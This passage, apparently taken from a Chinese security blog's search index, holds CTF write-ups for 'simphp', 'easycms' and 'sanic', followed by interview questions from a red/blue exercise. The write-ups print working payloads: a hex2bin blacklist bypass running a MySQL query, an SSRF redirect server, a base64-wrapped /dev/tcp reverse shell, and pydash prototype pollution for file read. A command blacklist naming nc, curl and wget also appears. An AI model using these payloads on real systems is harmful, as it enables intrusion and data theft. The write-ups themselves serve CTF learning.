class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">'cmd'</span>])){</span><br><span class="line"> <span class="variable">$cmd</span> = <span class="title function_ invoke__">escapeshellcmd</span>(<span class="variable">$_POST</span>[<span class="string">'cmd'</span>]); </span><br><span class="line"> <span class="keyword">if</span> (!<span class="title function_ invoke__">preg_match</span>(<span class="string">'/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i'</span>, <span class="variable">$cmd</span>)) {</span><br><span class="line"> <span class="title function_ invoke__">system</span>(<span class="variable">$cmd</span>);</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="title function_ invoke__">show_source</span>(<span class="keyword">__FILE__</span>);</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p>通过post方式传入cmd参数与题目环境交互。<br>传入的cmd被套了一层<strong>escapeshellcmd</strong>函数后赋值给cmd,接着进行一个黑名单过滤。非常全面的一个黑名单…几乎把所有能用的都过滤掉了。最后执行cmd的命令。</p><hr><p>很简单的代码逻辑,难处在于如何绕过这两次过滤。<br>先来看第一层过滤:escapeshellcmd</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">escapeshellcmd</span>(<span class="keyword">string</span> <span class="variable">$command</span>): <span class="keyword">string</span></span><br></pre></td></tr></table></figure><p>传入一个字符串参数,返回一个字符串参数。这是一个php自带的防止命令注入的函数,php文档对其的解释如下:</p><blockquote><p>“反斜线(\)会在以下字符之前插入:&#;`|*?~<>^()[]{}$\、\x0A 和 \xFF。 ‘ 和 “ 仅在不配对儿的时候被转义。”</p></blockquote><p>这也就导致这题难以通过特殊符号相关的方法来绕过黑名单,比如亦或的无符号rce等待。</p><p>下面的正则匹配就比较简单了。就是屏蔽了一些关键字。目前笔者发现还能用的命令有: man,diff,php,rev,paste,dd if=</p><p>其中除了php以外都只能读取文件,diff命令比较好用的一点-r是他可以比较子目录中的文件。不过比较一番也没有找到。只能试着用php命令去连接数据可试试了。这里给出php命令的解释和使用方式。</p><pre><code>>-r 执行代码,无需脚本标记 >-f 执行文件</code></pre><p>个人感觉比较常用的以上两个选项。这里可以用php -r来执行代码。<br>测试php -r phpinfo();发现可以跑通</p><p><img src="/images/img_simphp.png" alt="img1"></p><p>但是如果使用system执行系统命令,还是会被上面的黑名单过滤,(甚至连引号都过滤掉了)因此使用hex2bin函数来进行绕过。hex2bin可以把输入的十六进制ascii码转换为字符串。这里先给出payload再做解释</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">php -r <span class="keyword">eval</span>(<span class="title function_ invoke__">hex2bin</span>(<span class="title function_ invoke__">substr</span>(_hex,<span class="number">1</span>)));</span><br></pre></td></tr></table></figure><p>eval就不做解释了。这里主要解释为什么hex2bin里面要套一个substr。substr()函数输入三个参数:string,start,length。分别是待处理的字符串,开始位置,截取长度。第三个参数可以缺省,即输出从开始位置到结束的所有字符串。</p><p>这里调用这个函数的主要目的是:在没有但双引号的情况下,构造字符串。因为hex2bin的输入要求是引号包裹的字符串,但这里把引号ban了,就要用到substr了。substr允许输入没有引号包裹的字符串,并且输出一个字符串。这也就是说我们可以借用substr来实现无引号字符串的构建。测试一下whoami,发现正常回显,呢么接下来就是无聊的查库时间了。</p><p><img src="/images/simphp_test.png" alt="img1"></p><p>这个地方没啥技术含量,直接给出最终payload:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cmd=php -r <span class="keyword">eval</span>(<span class="title function_ invoke__">hex2bin</span>(<span class="title function_ invoke__">substr</span>(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b73656c656374202a2066726f6d20463161675f5365335265373b27603b,<span class="number">1</span>)));</span><br></pre></td></tr></table></figure><h2 id="easycms"><a href="#easycms" class="headerlink" title="easycms"></a>easycms</h2><p>这个题真是必须要看到hint才知道怎么做,hint提示flag.php的代码:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>(<span class="variable">$_SERVER</span>[<span class="string">"REMOTE_ADDR"</span>] != <span class="string">"127.0.0.1"</span>){</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"Just input 'cmd' From 127.0.0.1"</span>;</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line"> <span class="title function_ invoke__">system</span>(<span class="variable">$_GET</span>[<span class="string">'cmd'</span>]);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这个地方 REMOTE_ADDR 是没办法通过文件头伪造的。那就只能试一试ssrf了。</p><p>这道题ssrf的思路是这样:通过一个借口来访问一个恶意服务器,恶意服务器302将请求跳转到访问者本地的flag.php来通过 REMOTE_ADDR 的检测。</p><p>github上找一下源码,审计一下(其实这里有已经纰漏的漏洞,但是当时没找到,只能审了)搜了一下ssrf出发漏洞的常见函数,里面有一个file_get_contents()。找一下这个函数参数可控的地方。找到了如下代码:</p><p><img src="/images/dr.png" alt="img3"></p><p>继续寻找这个函数参数可控的地方:</p><p><img src="/images/qrcode.png" alt="img4"></p><p>这个地方的url是get方法传入的,很有戏。继续找,最终找到了这个地方:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">dr_qrcode</span>(<span class="params"><span class="variable">$text</span>, <span class="variable">$thumb</span> = <span class="string">''</span>, <span class="variable">$level</span> = <span class="string">'H'</span>, <span class="variable">$size</span> = <span class="number">5</span></span>) </span>{</span><br><span class="line"> <span class="keyword">return</span> ROOT_URL.<span class="string">'index.php?s=api&c=api&m=qrcode&thumb='</span>.<span class="title function_ invoke__">urlencode</span>(<span class="variable">$thumb</span>).<span class="string">'&text='</span>.<span class="title function_ invoke__">urlencode</span>(<span class="variable">$text</span>).<span class="string">'&size='</span>.<span class="variable">$size</span>.<span class="string">'&level='</span>.<span class="variable">$level</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>那么理论上讲访问这个url,控制下thumb的值就可以访问到咱们的恶意服务器了。在服务器上部署一个302跳转站,代码如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> Flask,redirect,request,send_file</span><br><span class="line"><span class="keyword">from</span> urllib.parse <span class="keyword">import</span> quote</span><br><span class="line">app = Flask(__name__)</span><br><span class="line"> </span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">'/'</span></span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">index</span>():</span><br><span class="line"> cmd= <span class="string">"cmd"</span></span><br><span class="line"> <span class="keyword">return</span> redirect(<span class="string">"http://127.0.0.1/flag.php?cmd="</span>+cmd)</span><br><span class="line"> </span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> app.run(<span class="string">"0.0.0.0"</span>,<span class="number">80</span>)</span><br></pre></td></tr></table></figure><p>不熟之后本地访问一下,跳转到flag.php就说明已经成功部署了。这也就不难理解为什么这个服务可以通过flag.php的检测了。由于没有回显,需要弹一下shell。</p><p>这里用到弹shell的姿势如下:</p><blockquote><p>quote(“bash -c ‘{echo,base64_str}|{base64,-d}|{bash,-i}’”)</p></blockquote><p>其中,base64_str加密的内容如下:</p><blockquote><p>bash -i >& /dev/tcp/ip/port 0>&1</p></blockquote><p>接着按照上面的url访问/index.php?s=api&c=api&m=qrcode&thumb=<a href="http://vps:port&&text=foo&size=1&level=1即可">http://vps:port&&text=foo&size=1&level=1即可</a></p><h2 id="sanic"><a href="#sanic" class="headerlink" title="sanic"></a>sanic</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> sanic <span class="keyword">import</span> Sanic</span><br><span class="line"><span class="keyword">from</span> sanic.response <span class="keyword">import</span> text, html</span><br><span class="line"><span class="keyword">from</span> sanic_session <span class="keyword">import</span> Session</span><br><span class="line"><span class="keyword">import</span> pydash</span><br><span class="line"><span class="comment"># pydash==5.1.2</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Pollute</span>:</span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):</span><br><span class="line"> <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">app = Sanic(__name__)</span><br><span class="line">app.static(<span class="string">"/static/"</span>, <span class="string">"./static/"</span>)</span><br><span class="line">Session(app)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">'/'</span>, methods=[<span class="string">'GET'</span>, <span class="string">'POST'</span>]</span>)</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">index</span>(<span class="params">request</span>):</span><br><span class="line"> <span class="keyword">return</span> html(<span class="built_in">open</span>(<span class="string">'static/index.html'</span>).read())</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">"/login"</span></span>)</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">login</span>(<span class="params">request</span>):</span><br><span class="line"> user = request.cookies.get(<span class="string">"user"</span>)</span><br><span class="line"> <span class="comment">#将user赋值为cookie中的user</span></span><br><span class="line"> <span class="keyword">if</span> user.lower() == <span class="string">'adm;n'</span>:</span><br><span class="line"> request.ctx.session[<span class="string">'admin'</span>] = <span class="literal">True</span></span><br><span class="line"> <span class="keyword">return</span> text(<span class="string">"login success"</span>)</span><br><span class="line"> <span class="comment">#如果user为'adm;n'就把session中的admin项赋值为true</span></span><br><span class="line"> <span class="comment">#但问题是,cookie中的分号会被视为两个值之间的分割</span></span><br><span class="line"> <span class="comment">#这是第一个要解决的问题</span></span><br><span class="line"> <span class="keyword">return</span> text(<span class="string">"login fail"</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">"/src"</span></span>)</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">src</span>(<span class="params">request</span>):</span><br><span class="line"> <span class="keyword">return</span> text(<span class="built_in">open</span>(__file__).read())</span><br><span class="line"><span class="comment">#成功登陆后可以污染这里的file文件来达到任意文件读取</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">"/admin"</span>, methods=[<span class="string">'GET'</span>, <span class="string">'POST'</span>]</span>)</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">admin</span>(<span class="params">request</span>):</span><br><span class="line"> <span class="keyword">if</span> request.ctx.session.get(<span class="string">'admin'</span>) == <span class="literal">True</span>:</span><br><span class="line"> key = request.json[<span class="string">'key'</span>]</span><br><span class="line"> value = request.json[<span class="string">'value'</span>]</span><br><span class="line"> <span class="keyword">if</span> key <span class="keyword">and</span> value <span class="keyword">and</span> <span class="built_in">type</span>(key) <span class="keyword">is</span> <span class="built_in">str</span> <span class="keyword">and</span> <span class="string">'_.'</span> <span class="keyword">not</span> <span class="keyword">in</span> key:</span><br><span class="line"> pollute = Pollute()</span><br><span class="line"> pydash.set_(pollute, key, value)</span><br><span class="line"> <span class="keyword">return</span> text(<span class="string">"success"</span>)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">return</span> text(<span class="string">"forbidden"</span>)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> text(<span class="string">"forbidden"</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> app.run(host=<span class="string">'0.0.0.0'</span>)</span><br></pre></td></tr></table></figure><p>第一个问题比较好解决,翻阅github中sanic的源码可以发现,在处理cookie部分,<strong>sanic会将cookie中的八进制进行解码</strong>,根据这一特性,将cookie赋值为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">user=adm\073n</span><br></pre></td></tr></table></figure><p>即可</p><p>下一个问题是python原型链污染的问题,这里准确的说是一个pydash的原型链污染问题。源代码中的</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pydash.set_(pollute, key, value)</span><br></pre></td></tr></table></figure><p>存在原型链污染的风险。这里直接对key传入__class__.__init__.__globals__.__file__就可以操控代码中的file变量实现任意文件读取。</p><p>但是在源代码中过滤了._,这里需要做一下绕过。跟进一下相应版本的pydash源码,会发现可以通过\\.来当作.使用,这样就可以做到任意文件读取。</p><p>至此的难度都还在笔者的预料之内,但是由于不知道flag文件名称,还要通过挖掘pydash源码中的链子来进行列目录。这里直接放一个gxn师傅的博客,就不再详细写了,太难了qaq</p><p><a href="https://www.cnblogs.com/gxngxngxn/p/18205235">https://www.cnblogs.com/gxngxngxn/p/18205235</a></p>]]></content>
</entry>
<entry>
<title>国护面试经验分享</title>
<link href="/2024/07/02/%E5%9B%BD%E6%8A%A4%E9%9D%A2%E8%AF%95%E7%BB%8F%E9%AA%8C%E5%88%86%E4%BA%AB/"/>
<url>/2024/07/02/%E5%9B%BD%E6%8A%A4%E9%9D%A2%E8%AF%95%E7%BB%8F%E9%AA%8C%E5%88%86%E4%BA%AB/</url>
<content type="html"><![CDATA[<h1 id="国护面试经历"><a href="#国护面试经历" class="headerlink" title="国护面试经历"></a>国护面试经历</h1><p>笔者在2024年的国护中找了一家中间商做面试,虽然得到了蓝初,但是由于去年国护一些众所周知的原因,以及今年国护形式的变动,没有能成功参加今年的国护,比较可惜,现在国护已经结束,总结一下面试题目。</p><h3 id="问:打过内网吗,什么思路"><a href="#问:打过内网吗,什么思路" class="headerlink" title="问:打过内网吗,什么思路"></a>问:打过内网吗,什么思路</h3><p>真没打进去过,只在比赛里用过fscan😭。这个以后能有生产环境的shell再学吧</p><h3 id="问:sql注入分哪几类"><a href="#问:sql注入分哪几类" class="headerlink" title="问:sql注入分哪几类"></a>问:sql注入分哪几类</h3><p>四大基本注入类型分别为:联合注入、盲注、堆叠注入、报错注入。<br>联合注入:通过union语句进行注入<br>盲注:通过延时或返回布尔值进行注入<br>堆叠注入:通过语言特性一次性执行多条sql语句进行注入<br>报错注入:通过恶意语句使报错内容含有一定信息进行注入。</p><h3 id="问:sql注入的二次注入原理和修理手法"><a href="#问:sql注入的二次注入原理和修理手法" class="headerlink" title="问:sql注入的二次注入原理和修理手法"></a>问:sql注入的二次注入原理和修理手法</h3><p>二次注入指的是,web应用现将恶意语句存入了数据库,在后面的某些步骤中,又将这条语句取出,导致了一些安全隐患。比如在更改密码出任意密码重置的问题。</p><p>想要修复二次注入,就需要对来自用户或者来自存储的输入都做转义过滤。</p><h3 id="问:sql报错注入主要用到的函数"><a href="#问:sql报错注入主要用到的函数" class="headerlink" title="问:sql报错注入主要用到的函数"></a>问:sql报错注入主要用到的函数</h3><p>updatexml,extractvalue和floor</p><h3 id="问:内网发现一台主机在大量攻击其他主机的445端口,如何鉴别其攻击类型"><a href="#问:内网发现一台主机在大量攻击其他主机的445端口,如何鉴别其攻击类型" class="headerlink" title="问:内网发现一台主机在大量攻击其他主机的445端口,如何鉴别其攻击类型"></a>问:内网发现一台主机在大量攻击其他主机的445端口,如何鉴别其攻击类型</h3><p>这里不太确定,445端口首先可以利用永恒之蓝,其次上网查了一下,445端口好像主要是win系统的smb服务,可能会有爆破连接尝试远程访问。</p><h3 id="问:主流shell管理工具流量特征"><a href="#问:主流shell管理工具流量特征" class="headerlink" title="问:主流shell管理工具流量特征"></a>问:主流shell管理工具流量特征</h3><p>网上相关的博客很多,不再赘述了</p><h3 id="问:态势感知设备报错,如何判断其是否为误报"><a href="#问:态势感知设备报错,如何判断其是否为误报" class="headerlink" title="问:态势感知设备报错,如何判断其是否为误报"></a>问:态势感知设备报错,如何判断其是否为误报</h3><h3 id="问:文件上传绕过手法"><a href="#问:文件上传绕过手法" class="headerlink" title="问:文件上传绕过手法"></a>问:文件上传绕过手法</h3><p>主要分黑白名单两种情况,各有各的绕过手法,网上也很多</p><h3 id="问:shiro反序列化"><a href="#问:shiro反序列化" class="headerlink" title="问:shiro反序列化"></a>问:shiro反序列化</h3><p>shiro指的是apache shiro框架,框架中的RememberMe功能会把登陆成功的用户经过加密的cookie存储在服务器端,并且在解密之后进行反序列化,这就可能导致rce。加解密过程中涉及了aes,因此构造payload需要知道aes的密钥。</p><h3 id="问:内存马查杀"><a href="#问:内存马查杀" class="headerlink" title="问:内存马查杀"></a>问:内存马查杀</h3><p><a href="https://blog.csdn.net/SimoSimoSimo/article/details/127700190">https://blog.csdn.net/SimoSimoSimo/article/details/127700190</a><br>不太懂,感觉这篇讲的不错</p><h3 id="问:原型链污染"><a href="#问:原型链污染" class="headerlink" title="问:原型链污染"></a>问:原型链污染</h3><p>见主页JS原型链污染</p><h3 id="问:绕没绕过360,有什么思路"><a href="#问:绕没绕过360,有什么思路" class="headerlink" title="问:绕没绕过360,有什么思路"></a>问:绕没绕过360,有什么思路</h3>]]></content>
</entry>
</search>